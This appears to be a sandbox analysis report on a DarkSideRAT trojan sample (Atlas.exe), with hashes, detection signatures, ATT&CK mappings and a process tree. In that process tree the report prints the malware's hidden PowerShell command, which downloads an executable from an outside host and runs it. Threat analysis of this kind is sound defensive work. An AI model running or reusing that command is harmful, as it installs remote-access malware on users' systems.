darksiderat | e5f25c12dea1252d500a26fddbf016f343a32bc42cf6da0001f98c6224f92710

Analysis

max time kernel
2s
max time network
3s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/06/2026, 09:50

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General

Target
Atlas.exe
Size 16.8MB
Sample260626-lvdc8aas71
SHA256 e5f25c12dea1252d500a26fddbf016f343a32bc42cf6da0001f98c6224f92710
MD5 d980d3eaabf442a9fcda4e24e84d14f7
SHA1 b307c8868a2d8c2069862af37168cebddbc15ff3
SHA512 a9293ef78cf5495f10febbb308b48e65d01a5fc3196e27d25a5b612fdc78fcfd57bf7638b0ed66e603ba70b3b1225e3927008e858ff16435c4d9cd7f82077a0f
SSDEEP 393216:OI/1FqD6I9JhfhrnblRmRJXDg5fzMTn3:O0zIrJrnbX5Y7
TLSH
T1AF072316F3D546A9D466D138C642A723EB32782A0322CBDF73DA19611FA71F04E7DB42
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x000900000002466e-14.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4988	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
6	4988	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1404	BK105251.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4988	powershell.exe
4988	powershell.exe
780	Atlas.exe
780	Atlas.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4988	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
780	Atlas.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 3112	780	Atlas.exe	85
PID 3112 wrote to memory of 3500	3112	cmd.exe	87
PID 3500 wrote to memory of 4988	3500	cmd.exe	90
PID 4988 wrote to memory of 1404	4988	powershell.exe	94

C:\Users\Admin\AppData\Local\Temp\Atlas.exe
"C:\Users\Admin\AppData\Local\Temp\Atlas.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3112
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK105251.exe; Start-Process -FilePath $env:APPDATA\BK105251.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Users\Admin\AppData\Roaming\BK105251.exe
        
        "C:\Users\Admin\AppData\Roaming\BK105251.exe"
        5⤵
        Executes dropped EXE
        
        PID:1404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_2kcs3unp.bu1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kcs3unp.bu1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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BK105251.exe

Path C:\Users\Admin\AppData\Roaming\BK105251.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4988-1-0x0000020D3F010000-0x0000020D3F020000-memory.dmp

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memory/4988-0-0x0000020D3F010000-0x0000020D3F020000-memory.dmp

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memory/4988-9-0x0000020D3F290000-0x0000020D3F2B2000-memory.dmp

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memory/4988-20-0x0000020D3F730000-0x0000020D3F87E000-memory.dmp

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